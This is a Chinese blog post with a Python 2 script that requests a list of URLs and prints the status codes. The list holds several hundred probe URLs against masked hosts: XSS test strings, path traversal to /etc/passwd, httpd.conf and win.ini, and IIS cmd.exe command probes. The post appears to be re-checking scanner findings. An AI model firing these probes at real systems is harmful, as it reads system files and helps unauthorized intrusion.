Python 简单批量请求接口实例
#coding:utf-8
'''
Created on 2017年11月10日 @author: li.liu
'''
import urllib
import time str1='''
http://source.xxxxx.com/+ADw-SCRIPT+AD4-alert(1234)+ADw-/SCRIPT+AD4-.htw?CiWebHitsFile=/iisstart.asp&CiRestriction=''
http://sso.xxxxx.com/../<script>alert(6)</script>
http://source.xxxxx.com/+ADw-SCRIPT+AD4-alert(1234)+ADw-+AC8-SCRIPT+AD4-.ida
http://www.xxxxx.com/../<script>alert(7)</script>
http://search.xxxxx.com/search/webSearchNeed?categoryName=%E5%93%81%E7%89%8C
http://source.xxxxx.com/%2bADw-SCRIPT%2bAD4-alert(1234)%2bADw-%2fSCRIPT%2bAD4-.htw%3fCiWebHitsFile%3d%2fiisstart.asp%26CiRestriction%3d''
http://source.xxxxx.com/%2bADw-SCRIPT%2bAD4-alert(1234)%2bADw-%2bAC8-SCRIPT%2bAD4-.ida
http://stylist.xxxxx.com/%3Cscript%3Ealert(1234)%3C/script%3E
http://stylist.xxxxx.com/%3Cscript%3Ealert(1234)%3C/script%3E
http://source.xxxxx.com/index
http://www.xxxxx.com/
http://www.xxxxx.com/
http://www.xxxxx.com/
http://www.xxxxx.com/
http://www.xxxxx.com/
http://source.xxxxx.com/index%23.%23php
http://sso.xxxxx.com/.nsf/../winnt/win.ini
http://sso.xxxxx.com/%00%00.nsf/../winnt/win.ini
http://sso.xxxxx.com/%00%20.nsf/../winnt/win.ini
http://sso.xxxxx.com/%00%c0%af.nsf/../winnt/win.ini
http://sso.xxxxx.com/%00...nsf/../winnt/win.ini
http://sso.xxxxx.com/%00.nsf//../winnt/win.ini
http://www.xxxxx.com/.nsf/../winnt/win.ini
http://sso.xxxxx.com/%00.nsf/../winnt/win.ini
http://www.xxxxx.com/%00%00.nsf/../winnt/win.ini
http://www.xxxxx.com/%00%20.nsf/../winnt/win.ini
http://sso.xxxxx.com/%00.nsf/..//winnt/win.ini
http://www.xxxxx.com/%00%c0%af.nsf/../winnt/win.ini
http://www.xxxxx.com/%00...nsf/../winnt/win.ini
http://sso.xxxxx.com/%00.nsf/../../winnt/win.ini
http://www.xxxxx.com/%00.nsf//../winnt/win.ini
http://www.xxxxx.com/%00.nsf/../winnt/win.ini
http://sso.xxxxx.com/%00.nsf.nsf/../winnt/win.ini
http://www.xxxxx.com/%00.nsf/..//winnt/win.ini
http://sso.xxxxx.com/%20%00.nsf/../winnt/win.ini
http://search.xxxxx.com/search/webSearchNeed?categoryName=%E5%93%81%E7%89%8C
http://www.xxxxx.com/%00.nsf/../../winnt/win.ini
http://sso.xxxxx.com/%20.nsf//../winnt/win.ini
http://www.xxxxx.com/%00.nsf.nsf/../winnt/win.ini
http://sso.xxxxx.com/%20.nsf/..//winnt/win.ini
http://www.xxxxx.com/%20%00.nsf/../winnt/win.ini
http://sso.xxxxx.com/%c0%af%00.nsf/../winnt/win.ini
http://stylist.xxxxx.com/../<script>alert(9)</script>
http://sso.xxxxx.com/%c0%af.nsf//../winnt/win.ini
http://source.xxxxx.com/*.jsp/
http://www.xxxxx.com/%20.nsf//../winnt/win.ini
http://sso.xxxxx.com:443
http://sso.xxxxx.com/%c0%af.nsf/..//winnt/win.ini
http://www.xxxxx.com/%20.nsf/..//winnt/win.ini
http://www.xxxxx.com/%c0%af%00.nsf/../winnt/win.ini
http://www.xxxxx.com/%c0%af.nsf//../winnt/win.ini
http://www.xxxxx.com/%c0%af.nsf/..//winnt/win.ini
http://www.xxxxx.com/...nsf//../winnt/win.ini
http://source.xxxxx.com:8080/C:%5Cwinnt%5Cwin.ini
http://www.xxxxx.com/...nsf/..//winnt/win.ini
http://sso.xxxxx.com/...nsf//../winnt/win.ini
http://sso.xxxxx.com/...nsf/..//winnt/win.ini
http://sso.xxxxx.com/.nsf///../winnt/win.ini
http://sso.xxxxx.com/.nsf//../winnt/win.ini
http://sso.xxxxx.com/.nsf//..//winnt/win.ini
http://www.xxxxx.com/.nsf///../winnt/win.ini
http://www.xxxxx.com:443
http://search.xxxxx.com/+ADw-SCRIPT+AD4-alert(1234)+ADw-/SCRIPT+AD4-.htw?CiWebHitsFile=/iisstart.asp&CiRestriction=''
http://search.xxxxx.com:8080/C:%5Cwinnt%5Cwin.ini
http://search.xxxxx.com/+ADw-SCRIPT+AD4-alert(1234)+ADw-+AC8-SCRIPT+AD4-.ida
http://search.xxxxx.com/%2bADw-SCRIPT%2bAD4-alert(1234)%2bADw-%2fSCRIPT%2bAD4-.htw%3fCiWebHitsFile%3d%2fiisstart.asp%26CiRestriction%3d''
http://search.xxxxx.com/%2bADw-SCRIPT%2bAD4-alert(1234)%2bADw-%2bAC8-SCRIPT%2bAD4-.ida
http://stylist.xxxxx.com/.nsf/../winnt/win.ini
http://sso.xxxxx.com/.nsf/../winnt/win.ini
http://stylist.xxxxx.com/%00%00.nsf/../winnt/win.ini
http://sso.xxxxx.com/.nsf/..//winnt/win.ini
http://stylist.xxxxx.com/%00%20.nsf/../winnt/win.ini
http://sso.xxxxx.com/.nsf/..///winnt/win.ini
http://sso.xxxxx.com/.nsf%00.nsf/../winnt/win.ini
http://stylist.xxxxx.com/%00%c0%af.nsf/../winnt/win.ini
http://sso.xxxxx.com/.nsf.nsf//../winnt/win.ini
http://stylist.xxxxx.com/%00...nsf/../winnt/win.ini
http://sso.xxxxx.com/.nsf.nsf/..//winnt/win.ini
http://sso.xxxxx.com/.nsf/../winnt/win.ini
http://stylist.xxxxx.com/%00.nsf//../winnt/win.ini
http://sso.xxxxx.com/.nsf/..//winnt/win.ini
http://stylist.xxxxx.com/%00.nsf/../winnt/win.ini
http://sso.xxxxx.com/.nsf/..///winnt/win.ini
http://sso.xxxxx.com/.nsf%00.nsf/../winnt/win.ini
http://stylist.xxxxx.com/%00.nsf/..//winnt/win.ini
http://sso.xxxxx.com/.nsf.nsf//../winnt/win.ini
http://stylist.xxxxx.com/%00.nsf/../../winnt/win.ini
http://sso.xxxxx.com/.nsf.nsf/..//winnt/win.ini
http://source.xxxxx.com/////////////
http://sso.xxxxx.com//
http://stylist.xxxxx.com/%00.nsf.nsf/../winnt/win.ini
http://www.xxxxx.com//
http://search.xxxxx.com/index
http://stylist.xxxxx.com/%20%00.nsf/../winnt/win.ini
http://search.xxxxx.com/index%23.%23php
http://www.xxxxx.com/.nsf//../winnt/win.ini
http://stylist.xxxxx.com:443
http://stylist.xxxxx.com/%20.nsf//../winnt/win.ini
http://www.xxxxx.com/.nsf//..//winnt/win.ini
http://www.xxxxx.com/.nsf/../winnt/win.ini
http://www.xxxxx.com/.nsf/..//winnt/win.ini
http://www.xxxxx.com/.nsf/..///winnt/win.ini
http://www.xxxxx.com/.nsf%00.nsf/../winnt/win.ini
http://sso.xxxxx.com/sso/pc-login
http://www.xxxxx.com/.nsf.nsf//../winnt/win.ini
http://sso.xxxxx.com/sso/NonExistentFile
http://www.xxxxx.com/
http://www.xxxxx.com/.nsf.nsf/..//winnt/win.ini
http://www.xxxxx.com/.nsf/../winnt/win.ini
http://stylist.xxxxx.com/%20.nsf/..//winnt/win.ini
http://stylist.xxxxx.com/%c0%af%00.nsf/../winnt/win.ini
http://stylist.xxxxx.com/%c0%af.nsf//../winnt/win.ini
http://www.xxxxx.com/
http://www.xxxxx.com/
http://www.xxxxx.com/
http://www.xxxxx.com/
http://www.xxxxx.com/
http://www.xxxxx.com/.nsf/..//winnt/win.ini
http://www.xxxxx.com/.nsf/..///winnt/win.ini
http://search.xxxxx.com/*.jsp/
http://stylist.xxxxx.com//
http://www.xxxxx.com/.nsf%00.nsf/../winnt/win.ini
http://source.xxxxx.com/c/winnt/system32/cmd.exe?/c+dir
http://www.xxxxx.com/.nsf.nsf//../winnt/win.ini
http://sso.xxxxx.com:8080/C:%5Cboot.ini
http://www.xxxxx.com:8080/C:%5Cboot.ini
http://www.xxxxx.com/.nsf.nsf/..//winnt/win.ini
http://search.xxxxx.com/////////////
http://stylist.xxxxx.com/html/pingtaisheji.html
http://stylist.xxxxx.com/html/NonExistentFile.html
http://source.xxxxx.com/d/winnt/system32/cmd.exe?/c+dir
http://sso.xxxxx.com/sso/pc-login
http://www.xxxxx.com/
http://stylist.xxxxx.com/%c0%af.nsf/..//winnt/win.ini
http://stylist.xxxxx.com/...nsf//../winnt/win.ini
http://stylist.xxxxx.com/...nsf/..//winnt/win.ini
http://stylist.xxxxx.com/.nsf///../winnt/win.ini
http://stylist.xxxxx.com/.nsf//../winnt/win.ini
http://stylist.xxxxx.com/.nsf//..//winnt/win.ini
http://stylist.xxxxx.com/.nsf/../winnt/win.ini
http://stylist.xxxxx.com:8080/C:%5Cboot.ini
http://stylist.xxxxx.com/.nsf/..//winnt/win.ini
http://source.xxxxx.com/\../\../\../\../\../\../\../etc/passwd
http://source.xxxxx.com/\../\../\../\../\../\../\../etc/httpd/conf/httpd.conf
http://source.xxxxx.com/\../\../\../\../\../\../\../www/conf/httpd.conf
http://sso.xxxxx.com/sso/pc-login
http://www.xxxxx.com/
http://search.xxxxx.com/c/winnt/system32/cmd.exe?/c+dir
http://stylist.xxxxx.com/.nsf/..///winnt/win.ini
http://stylist.xxxxx.com/html/pingtaisheji.html
http://stylist.xxxxx.com/.nsf%00.nsf/../winnt/win.ini
http://stylist.xxxxx.com/.nsf.nsf//../winnt/win.ini
http://stylist.xxxxx.com/.nsf.nsf/..//winnt/win.ini
http://stylist.xxxxx.com/.nsf/../winnt/win.ini
http://stylist.xxxxx.com/.nsf/..//winnt/win.ini
http://stylist.xxxxx.com/.nsf/..///winnt/win.ini
http://stylist.xxxxx.com/.nsf%00.nsf/../winnt/win.ini
http://stylist.xxxxx.com/.nsf.nsf//../winnt/win.ini
http://www.xxxxx.com/
http://www.xxxxx.com/
http://www.xxxxx.com/
http://www.xxxxx.com/
http://www.xxxxx.com/
http://stylist.xxxxx.com/.nsf.nsf/..//winnt/win.ini
http://source.xxxxx.com:8080/%20..\%20..\%20..\%20..\%20..\%20..\%20..\winnt\win.ini
http://sso.xxxxx.com/sso/pc-login
http://www.xxxxx.com/
http://www.xxxxx.com/
http://www.xxxxx.com/
http://www.xxxxx.com/
http://www.xxxxx.com/
http://www.xxxxx.com/
http://search.xxxxx.com/d/winnt/system32/cmd.exe?/c+dir
http://stylist.xxxxx.com/html/pingtaisheji.html
http://www.xxxxx.com/
http://www.xxxxx.com/
http://www.xxxxx.com/
http://www.xxxxx.com/
http://www.xxxxx.com/
http://source.xxxxx.com:8080/%20
http://www.xxxxx.com/
http://www.xxxxx.com/
http://www.xxxxx.com/
http://www.xxxxx.com/
http://www.xxxxx.com/
http://sso.xxxxx.com/+ADw-SCRIPT+AD4-alert(1234)+ADw-/SCRIPT+AD4-.htw?CiWebHitsFile=/iisstart.asp&CiRestriction=''
http://sso.xxxxx.com/+ADw-SCRIPT+AD4-alert(1234)+ADw-+AC8-SCRIPT+AD4-.ida
http://sso.xxxxx.com/%2bADw-SCRIPT%2bAD4-alert(1234)%2bADw-%2fSCRIPT%2bAD4-.htw%3fCiWebHitsFile%3d%2fiisstart.asp%26CiRestriction%3d''
http://sso.xxxxx.com/%2bADw-SCRIPT%2bAD4-alert(1234)%2bADw-%2bAC8-SCRIPT%2bAD4-.ida
http://www.xxxxx.com/+ADw-SCRIPT+AD4-alert(1234)+ADw-/SCRIPT+AD4-.htw?CiWebHitsFile=/iisstart.asp&CiRestriction=''
http://www.xxxxx.com/+ADw-SCRIPT+AD4-alert(1234)+ADw-+AC8-SCRIPT+AD4-.ida
http://www.xxxxx.com/%2bADw-SCRIPT%2bAD4-alert(1234)%2bADw-%2fSCRIPT%2bAD4-.htw%3fCiWebHitsFile%3d%2fiisstart.asp%26CiRestriction%3d''
http://search.xxxxx.com/\../\../\../\../\../\../\../etc/passwd
http://www.xxxxx.com/%2bADw-SCRIPT%2bAD4-alert(1234)%2bADw-%2bAC8-SCRIPT%2bAD4-.ida
http://search.xxxxx.com/\../\../\../\../\../\../\../etc/httpd/conf/httpd.conf
http://stylist.xxxxx.com/html/pingtaisheji.html
http://search.xxxxx.com/\../\../\../\../\../\../\../www/conf/httpd.conf
http://sso.xxxxx.com/index
http://sso.xxxxx.com/index%23.%23php
http://www.xxxxx.com/index
http://www.xxxxx.com/index%23.%23php
http://search.xxxxx.com:8080/%20..\%20..\%20..\%20..\%20..\%20..\%20..\winnt\win.ini
http://stylist.xxxxx.com/+ADw-SCRIPT+AD4-alert(1234)+ADw-/SCRIPT+AD4-.htw?CiWebHitsFile=/iisstart.asp&CiRestriction=''
http://stylist.xxxxx.com/+ADw-SCRIPT+AD4-alert(1234)+ADw-+AC8-SCRIPT+AD4-.ida
http://stylist.xxxxx.com/%2bADw-SCRIPT%2bAD4-alert(1234)%2bADw-%2fSCRIPT%2bAD4-.htw%3fCiWebHitsFile%3d%2fiisstart.asp%26CiRestriction%3d''
http://stylist.xxxxx.com/%2bADw-SCRIPT%2bAD4-alert(1234)%2bADw-%2bAC8-SCRIPT%2bAD4-.ida
http://sso.xxxxx.com/*.jsp/
http://www.xxxxx.com/*.jsp/
http://search.xxxxx.com:8080/%20
http://stylist.xxxxx.com/index
http://sso.xxxxx.com/////////////
http://www.xxxxx.com/////////////
http://www.xxxxx.com/
http://www.xxxxx.com/
http://www.xxxxx.com/
http://www.xxxxx.com/
http://www.xxxxx.com/
http://stylist.xxxxx.com/*.jsp/
http://stylist.xxxxx.com/////////////
http://sso.xxxxx.com/c/winnt/system32/cmd.exe?/c+dir
http://stylist.xxxxx.com/index%23.%23php
http://www.xxxxx.com/c/winnt/system32/cmd.exe?/c+dir
http://source.xxxxx.com/sourcePc/news
http://sso.xxxxx.com/d/winnt/system32/cmd.exe?/c+dir
http://sso.xxxxx.com:8080/C:%5Cwinnt%5Cwin.ini
http://www.xxxxx.com:8080/C:%5Cwinnt%5Cwin.ini
http://www.xxxxx.com/d/winnt/system32/cmd.exe?/c+dir
http://stylist.xxxxx.com/c/winnt/system32/cmd.exe?/c+dir
http://sso.xxxxx.com/\../\../\../\../\../\../\../etc/passwd
http://sso.xxxxx.com/\../\../\../\../\../\../\../etc/httpd/conf/httpd.conf
http://stylist.xxxxx.com:8080/C:%5Cwinnt%5Cwin.ini
http://sso.xxxxx.com/\../\../\../\../\../\../\../www/conf/httpd.conf
http://www.xxxxx.com/\../\../\../\../\../\../\../etc/passwd
http://www.xxxxx.com/\../\../\../\../\../\../\../etc/httpd/conf/httpd.conf
http://www.xxxxx.com/\../\../\../\../\../\../\../www/conf/httpd.conf
http://stylist.xxxxx.com/d/winnt/system32/cmd.exe?/c+dir
http://sso.xxxxx.com:8080/%20..\%20..\%20..\%20..\%20..\%20..\%20..\winnt\win.ini
http://www.xxxxx.com:8080/%20..\%20..\%20..\%20..\%20..\%20..\%20..\winnt\win.ini
http://search.xxxxx.com/search/webSearchNeed?categoryName=%E5%93%81%E7%89%8C
http://stylist.xxxxx.com/\../\../\../\../\../\../\../etc/passwd
http://stylist.xxxxx.com/\../\../\../\../\../\../\../etc/httpd/conf/httpd.conf
http://stylist.xxxxx.com/\../\../\../\../\../\../\../www/conf/httpd.conf
http://source.xxxxx.com/sourcePc/news
http://www.xxxxx.com/
http://www.xxxxx.com/
http://www.xxxxx.com/
http://sso.xxxxx.com:8080/%20
http://www.xxxxx.com/
'''
str2='''
http://sso.xxxxx.com:8080/%20
http://sso.xxxxx.com/*.jsp/
http://search.xxxxx.com/*.jsp/
http://www.xxxxx.com:8080/C:%5Cboot.ini
http://sso.xxxxx.com:443
http://stylist.xxxxx.com/html/NonExistentFile.html
http://search.xxxxx.com/index%23.%23php
http://source.xxxxx.com:8080/%20
http://source.xxxxx.com/+ADw-SCRIPT+AD4-alert(1234)+ADw-/SCRIPT+AD4-.htw?CiWebHitsFile=/iisstart.asp&CiRestriction=''
http://search.xxxxx.com/+ADw-SCRIPT+AD4-alert(1234)+ADw-/SCRIPT+AD4-.htw?CiWebHitsFile=/iisstart.asp&CiRestriction=''
http://www.xxxxx.com/%2bADw-SCRIPT%2bAD4-alert(1234)%2bADw-%2fSCRIPT%2bAD4-.htw%3fCiWebHitsFile%3d%2fiisstart.asp%26CiRestriction%3d''
http://www.xxxxx.com:443
http://stylist.xxxxx.com/index
http://sso.xxxxx.com/%2bADw-SCRIPT%2bAD4-alert(1234)%2bADw-%2fSCRIPT%2bAD4-.htw%3fCiWebHitsFile%3d%2fiisstart.asp%26CiRestriction%3d''
http://stylist.xxxxx.com/index%23.%23php
http://stylist.xxxxx.com/*.jsp/
http://sso.xxxxx.com/../<script>alert(6)</script>
http://search.xxxxx.com/search/webSearchNeed?categoryName=%E5%93%81%E7%89%8C
http://stylist.xxxxx.com/%2bADw-SCRIPT%2bAD4-alert(1234)%2bADw-%2fSCRIPT%2bAD4-.htw%3fCiWebHitsFile%3d%2fiisstart.asp%26CiRestriction%3d''
http://sso.xxxxx.com/index%23.%23php
http://stylist.xxxxx.com:443
http://www.xxxxx.com/../<script>alert(7)</script>
http://stylist.xxxxx.com/../<script>alert(9)</script>
http://source.xxxxx.com/%2bADw-SCRIPT%2bAD4-alert(1234)%2bADw-%2fSCRIPT%2bAD4-.htw%3fCiWebHitsFile%3d%2fiisstart.asp%26CiRestriction%3d''
http://source.xxxxx.com/sourcePc/news
http://www.xxxxx.com//
http://stylist.xxxxx.com/+ADw-SCRIPT+AD4-alert(1234)+ADw-/SCRIPT+AD4-.htw?CiWebHitsFile=/iisstart.asp&CiRestriction=''
http://www.xxxxx.com/+ADw-SCRIPT+AD4-alert(1234)+ADw-/SCRIPT+AD4-.htw?CiWebHitsFile=/iisstart.asp&CiRestriction=''
http://www.xxxxx.com/index%23.%23php
http://search.xxxxx.com/%2bADw-SCRIPT%2bAD4-alert(1234)%2bADw-%2fSCRIPT%2bAD4-.htw%3fCiWebHitsFile%3d%2fiisstart.asp%26CiRestriction%3d''
http://sso.xxxxx.com/index
http://search.xxxxx.com:8080/%20
http://search.xxxxx.com/index
http://sso.xxxxx.com:8080/C:%5Cboot.ini
http://stylist.xxxxx.com/%3Cscript%3Ealert(1234)%3C/script%3E
http://source.xxxxx.com/////////////
http://stylist.xxxxx.com/html/pingtaisheji.html
http://search.xxxxx.com/////////////
http://stylist.xxxxx.com/////////////
http://www.xxxxx.com/
http://stylist.xxxxx.com:8080/C:%5Cboot.ini
http://stylist.xxxxx.com//
http://sso.xxxxx.com/sso/NonExistentFile
http://www.xxxxx.com/////////////
http://sso.xxxxx.com/+ADw-SCRIPT+AD4-alert(1234)+ADw-/SCRIPT+AD4-.htw?CiWebHitsFile=/iisstart.asp&CiRestriction=''
http://sso.xxxxx.com/////////////
http://www.xxxxx.com/index
http://sso.xxxxx.com//
http://sso.xxxxx.com/sso/pc-login
http://www.xxxxx.com/*.jsp/
http://source.xxxxx.com/*.jsp/
http://source.xxxxx.com/index%23.%23php
http://source.xxxxx.com/index
'''
str3='''
http://sso.xxxxx.com:8080/%20
http://sso.xxxxx.com/*.jsp/
http://search.xxxxx.com/*.jsp/
http://sso.xxxxx.com:443
http://stylist.xxxxx.com/html/NonExistentFile.html
http://search.xxxxx.com/index%23.%23php
http://source.xxxxx.com:8080/%20
http://source.xxxxx.com/+ADw-SCRIPT+AD4-alert(1234)+ADw-/SCRIPT+AD4-.htw?CiWebHitsFile=/iisstart.asp&CiRestriction=''
http://search.xxxxx.com/+ADw-SCRIPT+AD4-alert(1234)+ADw-/SCRIPT+AD4-.htw?CiWebHitsFile=/iisstart.asp&CiRestriction=''
http://www.xxxxx.com/%2bADw-SCRIPT%2bAD4-alert(1234)%2bADw-%2fSCRIPT%2bAD4-.htw%3fCiWebHitsFile%3d%2fiisstart.asp%26CiRestriction%3d''
http://www.xxxxx.com:443
http://stylist.xxxxx.com/index
http://sso.xxxxx.com/%2bADw-SCRIPT%2bAD4-alert(1234)%2bADw-%2fSCRIPT%2bAD4-.htw%3fCiWebHitsFile%3d%2fiisstart.asp%26CiRestriction%3d''
http://stylist.xxxxx.com/index%23.%23php
http://stylist.xxxxx.com/*.jsp/
http://sso.xxxxx.com/../<script>alert(6)</script>
http://search.xxxxx.com/search/webSearchNeed?categoryName=%E5%93%81%E7%89%8C
http://stylist.xxxxx.com/%2bADw-SCRIPT%2bAD4-alert(1234)%2bADw-%2fSCRIPT%2bAD4-.htw%3fCiWebHitsFile%3d%2fiisstart.asp%26CiRestriction%3d''
http://search.xxxxx.com/\../\../\../\../\../\../\../etc/passwd
http://sso.xxxxx.com/index%23.%23php
http://stylist.xxxxx.com:443
http://www.xxxxx.com/../<script>alert(7)</script>
http://stylist.xxxxx.com/../<script>alert(9)</script>
http://source.xxxxx.com/%2bADw-SCRIPT%2bAD4-alert(1234)%2bADw-%2fSCRIPT%2bAD4-.htw%3fCiWebHitsFile%3d%2fiisstart.asp%26CiRestriction%3d''
http://source.xxxxx.com/sourcePc/news
http://www.xxxxx.com//
http://source.xxxxx.com/\../\../\../\../\../\../\../etc/passwd
http://stylist.xxxxx.com/\../\../\../\../\../\../\../etc/passwd
http://stylist.xxxxx.com/+ADw-SCRIPT+AD4-alert(1234)+ADw-/SCRIPT+AD4-.htw?CiWebHitsFile=/iisstart.asp&CiRestriction=''
http://www.xxxxx.com/+ADw-SCRIPT+AD4-alert(1234)+ADw-/SCRIPT+AD4-.htw?CiWebHitsFile=/iisstart.asp&CiRestriction=''
http://www.xxxxx.com/index%23.%23php
http://www.xxxxx.com/\../\../\../\../\../\../\../etc/passwd
http://search.xxxxx.com/%2bADw-SCRIPT%2bAD4-alert(1234)%2bADw-%2fSCRIPT%2bAD4-.htw%3fCiWebHitsFile%3d%2fiisstart.asp%26CiRestriction%3d''
http://sso.xxxxx.com/index
http://search.xxxxx.com:8080/%20
http://search.xxxxx.com/index
http://stylist.xxxxx.com/%3Cscript%3Ealert(1234)%3C/script%3E
http://source.xxxxx.com/////////////
http://sso.xxxxx.com/\../\../\../\../\../\../\../etc/passwd
http://stylist.xxxxx.com/html/pingtaisheji.html
http://search.xxxxx.com/////////////
http://stylist.xxxxx.com/////////////
http://www.xxxxx.com/
http://stylist.xxxxx.com//
http://sso.xxxxx.com/sso/NonExistentFile
http://www.xxxxx.com/////////////
http://sso.xxxxx.com/+ADw-SCRIPT+AD4-alert(1234)+ADw-/SCRIPT+AD4-.htw?CiWebHitsFile=/iisstart.asp&CiRestriction=''
http://sso.xxxxx.com/////////////
http://www.xxxxx.com/index
http://sso.xxxxx.com//
http://sso.xxxxx.com/sso/pc-login
http://www.xxxxx.com/*.jsp/
http://source.xxxxx.com/*.jsp/
http://source.xxxxx.com/index%23.%23php
http://source.xxxxx.com/index
'''
str4='''
http://search.xxxxx.com/\../\../\../\../\../\../\../etc/passwd
http://sso.xxxxx.com/\../\../\../\../\../\../\../etc/passwd
http://source.xxxxx.com/\../\../\../\../\../\../\../etc/passwd
http://www.xxxxx.com/\../\../\../\../\../\../\../etc/passwd
http://stylist.xxxxx.com/\../\../\../\../\../\../\../etc/passwd
'''
str5='''
http://search.xxxxx.com/\../\../\../\../\../\../\../etc/passwd
'''
t=0
a= str4.split('\n')
#print urllib.urlopen('http://www.baidu.com').code
s=set()
for i in a:
if '.ida' in i or 'win.ini' in i or 'httpd.conf' in i or 'c+dir' in i :#or 'passwd' in i:
pass
#s.add(i)
elif 'passwd' in i:
#pass
s.add(i)
else:
pass
#s.add(i) #while True:
for j in s:
t+=1
#print len(s),'/',t print j try:
url=j
print urllib.urlopen(url).code
except:
print urllib.urlopen('http://www.xxxxx.com/').code
#time.sleep(20)
''''''
返回请求码判断
Python 简单批量请求接口实例的更多相关文章
- 分别用postman和python做post请求接口功能测试
前几天,在做一个post请求的接口功能测试的时候,发现数据始终无法入库, 认真加仔细检查了请求的url.方式.参数,均没有问题 找到技术确认,原来是需要传json格式数据 在头信息中加上类型,body ...
- Python第一个请求接口
1.普通get请求 import requests import json login_res=requests.post(url='http://joy.web.com:8090/login',da ...
- shell的简单批量curl接口脚本
shell脚本可以说作用非常大,在服务器领域,用shell操作事务可比手动点击要方便快捷得多了.虽然只是文字界面,但是其强大的处理功能,会让各种操作超乎想象.而且,也可以将这些习惯移植到日常的工作当中 ...
- 用Python简单批量处理数据
近期碰到一个问题,两套系统之间数据同步出了差错,事后才发现的,又不能将业务流程倒退,但是这么多数据手工处理量也太大了,于是决定用Python偷个小懒. 1.首先分析数据. 两边数据库字段的值都是一样, ...
- python UI自动化实战记录二:请求接口数据并提取数据
该部分记录如何获取预期结果-接口响应数据,分成两步: 1 获取数据源接口数据 2 提取后续页面对比中要用到的数据 并且为了便于后续调用,将接口相关的都封装到ProjectApi类中. 新建python ...
- python简单的函数定义和用法实例
python简单的函数定义和用法实例 这篇文章主要介绍了python简单的函数定义和用法,实例分析了Python自定义函数及其使用方法,具有一定参考借鉴价值,需要的朋友可以参考下 具体分析如下: 这里 ...
- 使用Flask开发简单接口(2)--POST请求接口
今天我们继续学习如何使用Flask开发POST接口:用户注册接口和用户登录接口. request接收参数 当我们在页面发出一个POST请求,请求传到服务器时,需要如何拿到当前请求的数据呢?在Flask ...
- python面向对象进阶 反射 单例模式 以及python实现类似java接口功能
本篇将详细介绍Python 类的成员.成员修饰符.类的特殊成员. 类的成员 类的成员可以分为三大类:字段.方法和特性. 注:所有成员中,只有普通字段的内容保存对象中,即:根据此类创建了多少对象,在内存 ...
- Python 简单入门指北(二)
Python 简单入门指北(二) 2 函数 2.1 函数是一等公民 一等公民指的是 Python 的函数能够动态创建,能赋值给别的变量,能作为参传给函数,也能作为函数的返回值.总而言之,函数和普通变量 ...
随机推荐
- WOS免费查的办法
SCI期刊IF是我们很多人投稿时的考虑因素之一,但每年的IF在6月份左右才会发布,2017年6月将会发布2016年的IF,这就会对很多同学投稿造成一定的影响. 比如你现在准备在明年3月份投稿,这个时候 ...
- solr的创建分片的方式
在Solr4.4之后,Solr提供了SolrCloud分布式集群的模式,它带来的主要好处是: (1)大数据量下更高的性能 (2)更好扩展性 (3)更高的可靠性 (4)更简单易用 什么时候应该使用Sol ...
- 解决 niceScroll 自适应DOM 高度变化
利用dataTable展示数据列表时,当选择每页显示数量时,滚动条还是按照页面初始化时显示的,导致无法滚动查看下面的数据, 在stackoverflower 找到一个可用的方法,但不知道为什么仅写 ...
- C语言的变参列表 va_list
1. va_list的基本原理和用法 #include<stdio.h> #include<stdarg.h> void func(int i,char *ch,...){ / ...
- GoLang基础数据类型---字典
Map 是 Go 中的内置类型,它将键与值绑定到一起.可以通过键获取相应的值. 如何创建 map? 可以通过将键和值的类型传递给内置函数 make 来创建一个 map.语法为:make(map[Key ...
- C#各种字段类型对比
一.常量.只读字段.静态字段和静态只读字段对比 public class ModelClass { //常量在定义时必须赋初始值 //public const string constField; p ...
- 【转载】C#中List集合使用IndexOf判断元素第一次出现的索引位置
在C#的List集合操作中,有时候需要判断元素对象在List集合中第一次出现的索引位置信息,此时需要使用到List集合的IndexOf方法来判断,如果元素存在List集合中,则IndexOf方法返回所 ...
- Alpha_6
一. 站立式会议照片 二. 工作进展 (1) 昨天已完成的工作 a. 修改设计图的小毛病 b. 补签卡页面 c. 实现我的,我的卡包,卡片细节功能页面,并可预览 d. 已实现“番茄钟_数据统计”页面和 ...
- 【转载】Linux磁盘管理:LVM逻辑卷管理
Linux学习之CentOS(二十五)--Linux磁盘管理:LVM逻辑卷基本概念及LVM的工作原理 这篇随笔将详细讲解Linux磁盘管理机制中的LVM逻辑卷的基本概念以及LVM的工作原理!!! 一. ...
- Solr基础知识一(安装配置)
最近接到需求,要修改网站内的搜索规则,就去看了下Solr的资料.现在做完需求了,回来做一些笔记,方便以后查找. 一.安装 1.1 配置JDK JDK下载地址为:https://www.oracle.c ...